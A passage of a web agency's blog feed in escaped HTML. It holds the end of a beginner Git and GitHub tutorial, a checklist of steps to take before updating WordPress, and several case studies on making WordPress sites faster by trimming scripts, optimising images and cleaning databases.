&lt;h2 id=&quot;vocabulary&quot;&gt;&lt;strong&gt;Vocabulary&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Some of these terms might be familiar to you, while some might be totally new. Either way, you should know them by heart if you plan to work with Git and GitHub in the future.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Commit:&lt;/strong&gt; An individual change to a project. It’s similar to the “Save” option in Microsoft Word or Google Docs, but it shows the date and the author of the commit. A useful rule of thumb: any time you commit, write a short message explaining what you have done.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Diff:&lt;/strong&gt; The difference between two commits.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Push:&lt;/strong&gt; When you send one or more commits to a remote repository. It happens when you’re working on a project, and you want your contribution to be reviewed and eventually added to the project.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Clone:&lt;/strong&gt; A copy of a repository stored on your hard drive.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Fork:&lt;/strong&gt; A clone of a repository stored in your account storage space.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Branch:&lt;/strong&gt; A copy of a repository that doesn’t affect the master copy. It’s a useful feature when a number of developers are working on the same project. A developer can work on one branch without adding any changes to the master.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pull Request:&lt;/strong&gt; A proposed change carried on a fork or a branch that is submitted to be reviewed by the team members.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;git-and-github-installation&quot;&gt;&lt;strong&gt;Git and GitHub Installation&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;I assume that your computer runs on Mac or Windows. If you are a Mac user, &lt;a href=&quot;https://git-scm.com/download/mac&quot;&gt;download the Git version you need here&lt;/a&gt;. Windows users may download Git version for their operating system &lt;a href=&quot;https://gitforwindows.org/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Creating an account on GitHub is similar to creating an account on Facebook. You can do it in no time.&lt;/p&gt;
&lt;h2 id=&quot;basic-commands&quot;&gt;&lt;strong&gt;Basic Commands&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Now it’s time to use Git and GitHub like a pro. Open a terminal of your choice (Git Bash or Powershell) and write the following line to check if Git is correctly installed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once Git is correctly installed, you have to personalize it. The following two lines of code will configure your username and email address:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git config --global user.name “Your Name”
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ git config --global user.email “example@mail.com”
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;create-a-repository&quot;&gt;&lt;strong&gt;Create a Repository&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;At this stage, you have installed and configured Git. Create the first repository to start your work. Go to the GitHub dashboard and click on the &lt;strong&gt;+&lt;/strong&gt; button in the top right bar. For learning purposes, I’ve created a test project without initializing the project with a README file. Hit the &lt;strong&gt;Create repository&lt;/strong&gt; button, and voila! Your first repo is online!&lt;/p&gt;
&lt;h2 id=&quot;clone-a-repository&quot;&gt;&lt;strong&gt;Clone a Repository&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Follow the next steps to clone a repository on your computer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Go to the repository to get cloned and copy the HTTPS address.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a directory to host the clone. Use the &lt;strong&gt;mkdir &lt;folder name=&quot;&quot;&gt;&lt;/folder&gt;&lt;/strong&gt; command in your terminal.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Git clone &lt;hhtps address=&quot;&quot;&gt;&lt;/hhtps&gt;&lt;/strong&gt; is the command to clone the repo onto your hard drive.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you have accurately followed all the steps and your repo is empty, you will receive the following message “You appear to have cloned an empty repository.”&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;add-a-file-to-the-repo&quot;&gt;&lt;strong&gt;Add a File to the Repo&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Follow the next steps to add a file to your local repository:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Go to the local repository and create a file in that directory. Let’s use an HTML snippet called “Table1.html.”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make sure that your working folder in the command line is the local repository.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Write the command &lt;strong&gt;git add &lt;filename&gt;&lt;/filename&gt;&lt;/strong&gt; (in our case, Table1.html) or &lt;strong&gt;git add .&lt;/strong&gt; to add all the files to the repo.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To make sure you add the file, write &lt;strong&gt;git status&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Commit the file staged in your local repo with &lt;strong&gt;git commit -m “Your message”&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Finally, write &lt;strong&gt;git push origin master&lt;/strong&gt; in the command-line text area. Now, the file (in our case, Table1.html) should be in your GitHub repo.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;working-collaboratively&quot;&gt;&lt;strong&gt;Working Collaboratively&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;A huge advantage of Git is the possibility of working collaboratively. Being part of a team implies working individually on a particular feature and getting feedback from colleagues. Git allows for this type of work.&lt;/p&gt;
&lt;p&gt;Let’s suppose you have a group of files—the master project. You develop a new feature based on the master project and start adding your own contribution. Next, you submit your work for review by your collaborators.&lt;/p&gt;
&lt;p&gt;In Git terminology, you work on a branch without affecting the master (aka, the agreed-upon files). If you use the command line, you create a branch by typing this command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout -b new_feature 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(replace &lt;strong&gt;new_feature&lt;/strong&gt; with your favorite title).&lt;/p&gt;
&lt;p&gt;From now on, you’ll work on your branch and rest assured that your work doesn’t interfere with the master copy. You can merge your branch with this command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git merge new_feature
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;wrapping-up&quot;&gt;&lt;strong&gt;Wrapping Up&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Working with Git and GitHub isn’t simple.&lt;/p&gt;
&lt;p&gt;This guide features only a limited number of basic commands, but many others are available to streamline your work. Don’t worry if you don’t write the correct commands on the first try; it has happened to every beginner.&lt;/p&gt;
&lt;p&gt;You will get accustomed to working with Git and the command line after hours of practice. The advantages of Git are significant, so your endeavors will pay off in the long run.&lt;/p&gt;</content:encoded><category>Guides</category><author>Andrei Chira</author></item><item><title>What to do before updating your WordPress site</title><link>https://kiravo.net/blog/before-updating-wordpress/</link><guid isPermaLink="true">https://kiravo.net/blog/before-updating-wordpress/</guid><description>A short checklist for WordPress updates: why they matter, what to back up first, and how to avoid the breakage that catches most people.</description><pubDate>Fri, 12 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Updating your WordPress website may seem trivial and even unnecessary at times. After all, if your website is working properly and without any fuss, what is the need to update it in the first place?&lt;/p&gt;
&lt;p&gt;As it turns out, consistently updating your website is a must. It improves your website’s performance, addresses unresolved security issues, enhances accessibility and website experience, besides adding several new features.&lt;/p&gt;
&lt;p&gt;WordPress is like the center of its own solar system and is constantly being upgraded. The platform sees frequent updates thanks to feedback from the vibrant user community and an increasing number of trusted developers. Of special importance is the user feedback: they provide keen insights into what’s working, what’s not, and how things can be made better.&lt;/p&gt;
&lt;p&gt;The fact that WordPress is open to suggestions is the reason why they have managed to reach warp speed and outshine other CMS providers.&lt;/p&gt;
&lt;p&gt;And while WordPress is legendary for its superior design and ease of use, many users get a lot of things wrong when updating.&lt;/p&gt;
&lt;p&gt;This post details some points to remember and an outline of everything you must do before you start updating your WP-powered site.&lt;/p&gt;
&lt;p&gt;Before that, you have to understand why updating regularly is necessary.&lt;/p&gt;
&lt;h2 id=&quot;why-do-you-need-to-update-wordpress&quot;&gt;Why do you need to update WordPress?&lt;/h2&gt;
&lt;p&gt;Understanding ‘why’ should always come before the ‘how’ and ‘when’ sections. When we understand the purpose of what we’re doing, the process makes sense. So before we get to how we can safely update WordPress, let’s understand why we even need to do it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;: Perhaps the most essential reason behind keeping your WordPress site updated is security. WordPress might be the most popular CMS, but it does have its share of security loopholes, mainly through third-party plugins. Updating it regularly fixes these issues. Data theft or hacking is a nightmare which no website owner wishes to face.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Fixes any bugs&lt;/strong&gt;: Despite repeated and rigorous bug testing sessions, a few manage to hang on for dear life. More bugs often creep in when new features are added, as that means more coding is added. Updating to the latest available version manages to fix most bugs. You can also check the changelog that accompanies each update &lt;a href=&quot;https://codex.wordpress.org/WordPress_Versions&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Adds new features&lt;/strong&gt;: WordPress manages to add extra value to their product every time they offer an update. Consider when WP version 3.8 was released to replace v3.7. Not only was the dashboard improved; a completely overhauled default theme was also provided.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Speed&lt;/strong&gt;: No one likes a slow site, especially if they are your paying customers. Updated versions are optimized to increase the speed of your website.&lt;br&gt;
In sum, updating makes your life as the owner easier and helps your clientele use your website to better effect.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;things-to-do-before-updating-your-wp-site&quot;&gt;Things to do before updating your WP site&lt;/h2&gt;
&lt;p&gt;Generally, there are no major difficulties when updating your version of WordPress. Occasionally, errors arise - this could be a small hiccup or a major crisis. If you are the owner or the administrator of a website which requires an immediate update, there are some preparatory steps you must keep in mind.&lt;/p&gt;
&lt;h3 id=&quot;1-back-up-your-website-first&quot;&gt;1. Back up your website first&lt;/h3&gt;
&lt;p&gt;Always, always back up your website before you start the process. If something does go wrong, you can always go back to the functioning version and not lose everything you have developed over the years.&lt;/p&gt;
&lt;p&gt;A few basic facts must be made clear here. A WordPress-powered site consists of 2 parts - the files and the database. If both these elements are backed up, you can get your website up and running in no time at all.&lt;/p&gt;
&lt;p&gt;The quickest and easiest way to back up your website is to install a backup plugin. There is a handful of options in the market, but you need to choose wisely depending on the type of site you have. Not all backup plugins are the same. Choosing a reliable one like &lt;a href=&quot;https://blogvault.net/&quot;&gt;BlogVault&lt;/a&gt; will ensure you always have a working backup ready to be restored. Plus you get the option of staging a site, so you can test out things before you make any changes to your live website. That brings us to point 2.&lt;/p&gt;
&lt;h3 id=&quot;2-never-attempt-an-upgrade-on-a-live-install&quot;&gt;2. Never attempt an upgrade on a Live Install&lt;/h3&gt;
&lt;p&gt;This is a cardinal error and should be borne in mind at all times. Many errors can prop up while rolling out updates. One such error is a blank screen, also known as White Screen of Death. In case your update attempt is botched due to some reason, all your visitors will see is a blank screen.&lt;/p&gt;
&lt;p&gt;To avoid it, new updates must always be tried out on a remote copy of your site. Regardless of whether on a local installation or a staging server, this rule must be followed on all occasions. Think of this step as sandboxing, a testing phase before live operations begin.&lt;/p&gt;
&lt;h3 id=&quot;3-install-major-updates-later&quot;&gt;3. Install major updates later&lt;/h3&gt;
&lt;p&gt;Major updates will have to wait for some time. You can easily identify a major WordPress update as the first or the second portion of the version name will change. E.g., 4.1 is a major update, but version 4.1.2 would be a minor one. A major update may have some bugs; moreover, the audience at large does not know what to expect from the new version or how to react to it either.&lt;/p&gt;
&lt;p&gt;All major updates are almost always followed by smaller ones which are aimed at fixing and resolving bugs. These bugs are identified when the new version goes live.&lt;/p&gt;
&lt;p&gt;Wait for these new updates to emerge and then upgrade. That said, any update that carries a security patch must be installed as soon as they are launched.&lt;/p&gt;
&lt;h3 id=&quot;4-use-only-child-themes-and-plugins&quot;&gt;4. Use only child themes and plugins&lt;/h3&gt;
&lt;p&gt;If you are using one of the default WordPress themes and have made customizations to it, if the theme is updated in the WordPress core update, then you stand to lose all your customizations. You’ll have to recreate them in the updated version.&lt;/p&gt;
&lt;p&gt;To avoid this hassle, you can create a &lt;a href=&quot;https://developer.wordpress.org/themes/advanced-topics/child-themes/&quot;&gt;child theme&lt;/a&gt; and make all your customizations. It remains unaffected from the update which will apply only to the parent.&lt;/p&gt;
&lt;p&gt;The same method applies to all themes and plugins, not just default ones. If you need to make customizations, it’s best to create a child theme or plugin. Whenever you update it, only the parent gets updated, and your customizations are never lost.&lt;/p&gt;
&lt;h3 id=&quot;5-turn-off-caching&quot;&gt;5. Turn off caching&lt;/h3&gt;
&lt;p&gt;Before any update attempt, turn automatic caching off. Leaving this option on will seriously alter the back-end operations of the website.&lt;/p&gt;
&lt;p&gt;Updating a website with the caching will only show the cached version of the page and not the newly-updated one. The same will happen if you publish a page with caching on during the update. There’s a high chance that you will only see the older version minus the changes made post the update.&lt;/p&gt;
&lt;p&gt;Consider this thumb rule as far as caching is considered during the update - disable caching plugins and additionally clear cache memory.&lt;/p&gt;
&lt;h3 id=&quot;6-keep-automatic-updates-under-control&quot;&gt;6. Keep automatic updates under control&lt;/h3&gt;
&lt;p&gt;All websites running on WordPress have, by default, their automatic updates enabled. It does have several advantages - minor releases, security fixes, and tweaks are installed automatically.&lt;/p&gt;
&lt;p&gt;You can use plugins or manually configure WordPress to update the core, plugins, and themes automatically.&lt;/p&gt;
&lt;p&gt;However, it is best to manually control updates in most cases, especially of third-party plugins.&lt;/p&gt;
&lt;p&gt;For instance, sometimes, plugins/themes may not be compatible with the newest version of WordPress and may adversely affect your website. Testing out these elements before updating the live site is helpful in these scenarios.&lt;/p&gt;
&lt;h3 id=&quot;7-ensure-all-plugins-are-compatible&quot;&gt;7. Ensure all plugins are compatible&lt;/h3&gt;
&lt;p&gt;If there are any plugins which are not compatible with the latest WordPress version, they may break down, throwing your updated website into disarray.&lt;/p&gt;
&lt;p&gt;It might not mean much to an amateur website owner, but it is always advisable to go through the latest and compatible versions of all plugins mentioned in the &lt;a href=&quot;https://wordpress.org/plugins/&quot;&gt;WordPress directory&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You will save yourself a lot of time and effort later.&lt;/p&gt;
&lt;h3 id=&quot;8-pro-tip---backup-your-site-again&quot;&gt;8. Pro tip - Backup your site again&lt;/h3&gt;
&lt;p&gt;Even if everything went perfectly well and glitch-free, it is best to back up the site once again after updating it. You will still have access to the latest version of your website.&lt;/p&gt;
&lt;p&gt;You can safely update your website by using one of the &lt;a href=&quot;https://blogvault.net/5-best-wordpress-backup-plugins/&quot;&gt;best backup plugins for WordPress&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you have done everything correctly and have not skipped any of these steps, the entire process should not take too much time.&lt;/p&gt;
&lt;p&gt;If you back up your site, test your updates out on a clone site, and then update your live site, your website will never face downtime on account of updates!&lt;/p&gt;</content:encoded><category>WordPress</category><author>Elena Chira</author></item><item><title>Blog optimization: just another case study</title><link>https://kiravo.net/blog/wordpress-blog-optimization/</link><guid isPermaLink="true">https://kiravo.net/blog/wordpress-blog-optimization/</guid><description>Another WordPress optimisation case study, this time for Aghiuta.com: the before-and-after numbers and the changes that drove them.</description><pubDate>Tue, 16 Apr 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.aghiuta.com&quot;&gt;Aghiuta.com&lt;/a&gt; is a media monitoring and politics blog written by Florin Popescu. Here’s our WordPress optimization we did for this blog.&lt;/p&gt;
&lt;h2 id=&quot;before-optimization&quot;&gt;Before optimization&lt;/h2&gt;
&lt;p&gt;First page loading speed was 4.3 sec.&lt;/p&gt;
&lt;p&gt;The homepage has 86 requests and 1.3 MB.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;14 javascripts - 505.6 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;20 sites stylesheet - 41.1 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;23 files - 601 k&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;js&quot;&gt;JS&lt;/h3&gt;
&lt;p&gt;Facebook Connect JS has 174.4K and is loaded in 0.69 seconds. The Facebook Like Box can be inserted as a text widget by copying the iframe code from the &lt;a href=&quot;https://developers.facebook.com/docs/reference/plugins/like-box/&quot;&gt;Facebook Developers Like Box&lt;/a&gt; page and that gets rid of the JS file.&lt;/p&gt;
&lt;p&gt;Gonzo theme includes a script.js file that has 101.3K. It includes several scripts such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;fitvids&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;flexslider&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;jquery easing&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;tabber tabs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;backstretch&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;prettyphoto lightbox&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;elastislide&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Backstretch is used for the large background image, but at least four of the others are not used: flexslider, prettyphoto, elastislide, tabber tabs.&lt;/p&gt;
&lt;p&gt;Fitvids make video embeds responsive, so it’s probably needed.&lt;/p&gt;
&lt;p&gt;jQuery Easing makes some effect on click (the slide from the search form).&lt;/p&gt;
&lt;p&gt;In addition, jQuery Easing (8.1 K) is loaded once more by the LayerSlider (26K) plugin which is not used anywhere.&lt;/p&gt;
&lt;p&gt;I removed the unused scripts and file size has decreased from 101.3K to only 29K.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sharing buttons JS files&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The plugin that puts the share buttons on the website has a pretty big impact on the loading time:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Plus 1 - 25.8K&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Google Api - 84.2K&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Twitter - 84.5K&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Social Bar - 1.8K&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All this can be solved by using another plugin (&lt;a href=&quot;https://jetpack.com/&quot;&gt;Jetpack&lt;/a&gt;) that loads a single JS file of 35K for all the buttons.&lt;/p&gt;
&lt;p&gt;jQuery can be loaded from Google Library instead of loading it from the server.&lt;/p&gt;
&lt;p&gt;The Addfreestats JS give a 404 error. We recommend using Google Analytics.&lt;/p&gt;
&lt;h3 id=&quot;css&quot;&gt;CSS&lt;/h3&gt;
&lt;p&gt;There are too many CSS files (20), some loaded with @import which is not the best option for performance.&lt;/p&gt;
&lt;p&gt;We have combined what was possible (sometimes combining js or css files throws errors) and we now have only 7 CSS files.&lt;/p&gt;
&lt;h3 id=&quot;images&quot;&gt;Images&lt;/h3&gt;
&lt;p&gt;Images can be better optimized for the web (same quality but less KB) and I think we can save at least 5% of each image.&lt;/p&gt;
&lt;p&gt;On the first page, thumbnails are 166x166px in size but the loaded pictures are larger, 300x300px.&lt;/p&gt;
&lt;p&gt;The images should be loaded at 166x166px.&lt;/p&gt;
&lt;p&gt;WordPress creates too many thumbnails:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;960x677&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;150x105&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;300x211&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;550x387&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;700x426&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;300x300&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;50x50&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;290x166&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;620x310&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;620x350&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;186x186&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;620x220&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The site only needs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;166x166 - first page thumbnails&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;50x50 - thumbnails for sidebar&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;134x77 - thumbnails for related posts&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;290x166 - thumbnail for category archive&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The remaining dimensions are useless and occupy space on the server. We can delete them and eliminate the unnecessary code from the theme that tells WordPress to make those thumbs.&lt;/p&gt;
&lt;p&gt;We implemented Lazy Load so only the images at the top of the page (above the fold) are loaded which gives a major improvement in perceived speed.&lt;/p&gt;
&lt;h2 id=&quot;after-optimization&quot;&gt;After optimization&lt;/h2&gt;
&lt;p&gt;After removing unnecessary code from JS files, combined CSS files, correct configuration and implementation of page cache and database cache the website now makes 48 requests and has 634,5K.&lt;/p&gt;
&lt;p&gt;First page loading speed: 1.47 seconds.&lt;/p&gt;
&lt;p&gt;We achieved a performance improvement of around 60%.&lt;/p&gt;
&lt;p&gt;We can optimize further but that would mean removing some elements that provide specific functionality desired by the owner so we stopped here.&lt;/p&gt;</content:encoded><category>Case Studies</category><author>Andrei Chira</author></item><item><title>WordPress optimization for a book blog</title><link>https://kiravo.net/blog/book-blog-optimization/</link><guid isPermaLink="true">https://kiravo.net/blog/book-blog-optimization/</guid><description>A walkthrough of the optimisation work we did on Bookuria.info: what the audit flagged, what we changed, and the speed gains we measured.</description><pubDate>Tue, 02 Apr 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.bookuria.info/&quot;&gt;Bookuria.info&lt;/a&gt; is a site dedicated to book lovers where you can find news, editorials on the cultural scene and fresh promotions and discounts from book publishers.&lt;/p&gt;
&lt;p&gt;Bogdan, the owner, has chosen us to see if we can make his website faster, which was the main dissatisfaction with the old host.&lt;/p&gt;
&lt;p&gt;Let’s see what we did!&lt;/p&gt;
&lt;h2 id=&quot;performance-audit&quot;&gt;Performance audit&lt;/h2&gt;
&lt;p&gt;Before, the website had an average load of 4.78 seconds, the page size was 2.5 MB and the number of requests was 125.&lt;/p&gt;
&lt;p&gt;Among the page components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;37 JS - 627.6 K&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;17 CSS - 109.1 K&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;14 cssimages - 151K&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;31 images - 1640.5 K&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Google PageSpeed Insights ​​score was 73/100 and the main recommendations were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;reduces server response time (Currently 1.5 sec)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;optimize images&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A performance test of the plugins installed and enabled on the site shows that the Simple Share Buttons Adder plugin has a negative impact on loading speed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;plugin impact : 74.4%&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;plugin load time: 2.160 sec&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After disabling that plugin and retesting, the numbers look a lot better:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;plugin impact : 30.8%&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;plugin load time: 0.320 sec&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Another factor that negatively affects site performance is the theme used. Time taken to load the theme is 1.22 seconds compared to 0.32 seconds it takes to load the plugins.&lt;/p&gt;
&lt;p&gt;The theme has a problem that is very common in premium WordPress themes - trying to offer too many options and so it loads a large number of JS and CSS files.&lt;/p&gt;
&lt;p&gt;Most options are not used in “real life” and site performance suffers.&lt;/p&gt;
&lt;p&gt;The theme loads 34 JS files and many are useless.&lt;/p&gt;
&lt;p&gt;There’s 3 Google Maps JS files totaling 199.6K and we never saw to be used anywhere on the site. Even if we wanted to place a map somewhere it can be done with iframe, we do not need so many JS files.&lt;/p&gt;
&lt;p&gt;There are some JS files ​​for loading Google fonts (39.1K) which is a very inefficient method, a Google Font Library has 0.3K and loads pretty fast.&lt;/p&gt;
&lt;p&gt;There are JS files that do nothing for us: for example, Syntax Highlighter, useless on this particular site.&lt;/p&gt;
&lt;p&gt;Theme works with timthumb.php to make thumbnails. WordPress knows to make thumbnails, you don’t need another PHP script to do that for you.&lt;/p&gt;
&lt;p&gt;Another problem with timthumb.php is that it breaks Lazy Load and loading speed site suffers.&lt;/p&gt;
&lt;h2 id=&quot;optimization-done&quot;&gt;Optimization done&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;optimized images&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;replaced plugins with problems with other plugins that provide similar functionality but are more lightweight&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;eliminated redundant and inactive plugins&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;identified the theme lines of code that loaded the useless JS files and we removed them&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;implemented a page cache + database cache&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;updated WordPress to the latest version&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;updated all active plugins to the latest versions.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;results&quot;&gt;Results&lt;/h2&gt;
&lt;p&gt;A new test done with Pingdom Tools shows an average speed of 2.72 seconds, a good improvement from 4.78 seconds.&lt;/p&gt;
&lt;p&gt;PageSpeed ​​Insights gives us a score of 85/100, a nice improvement over the 73/100 initial score.&lt;/p&gt;
&lt;p&gt;JS files number dropped to 21 totaling 334.4K compared to the initial 37 totaling 627,6K.&lt;/p&gt;
&lt;p&gt;Unfortunately, the WordPress theme pulls the site down pretty hard. No matter how we optimize and how fast the server is the visitors must still download 2MB of information because Lazy Load is not working because of timthumb.&lt;/p&gt;
&lt;p&gt;The main recommendation here is to replace the theme with one that does not load so many JS files and doesn’t use timthumb.php.&lt;/p&gt;
&lt;p&gt;This could reduce the average time to load the website to around 1-1.5 seconds.&lt;/p&gt;</content:encoded><category>Case Studies</category><author>Andrei Chira</author></item><item><title>WordPress optimization for an online newspaper</title><link>https://kiravo.net/blog/newspaper-optimization/</link><guid isPermaLink="true">https://kiravo.net/blog/newspaper-optimization/</guid><description>How we optimised a local Romanian newspaper on WordPress: database cleanup, asset trimming, image work, and the caching stack we picked.</description><pubDate>Tue, 26 Mar 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Observatorul de Bacau is a local newspaper from a small town in Romania.&lt;/p&gt;
&lt;p&gt;The loading time of the site was 6.37 seconds.&lt;/p&gt;
&lt;p&gt;Homepage of the site had 66 components with a total size of 1105.9 KB.&lt;/p&gt;
&lt;p&gt;But the main problem was not the page size. The poor performance of the site was due to the lack of database optimization.&lt;/p&gt;
&lt;h2 id=&quot;optimizing-database&quot;&gt;Optimizing Database&lt;/h2&gt;
&lt;p&gt;Although it is common for an online newspaper to have a massive database due to the high volume of content published over the years, we found an extremely large database of 1.2 GB.&lt;/p&gt;
&lt;p&gt;To give you an idea, the database export file produced more than 200 million lines.&lt;/p&gt;
&lt;p&gt;Database tables created by old plugins were still there, and we found a huge space occupied with duplicate indexes.&lt;/p&gt;
&lt;p&gt;As an example, the posts table had ~150 MB of data and ~450 MB of indexes.&lt;/p&gt;
&lt;p&gt;We &lt;a href=&quot;https://kiravo.net/clean-wordpress-database/&quot;&gt;cleaned the database&lt;/a&gt; tables and we have managed to reduce its size to less than half, ~510MB from 1.2GB.&lt;/p&gt;
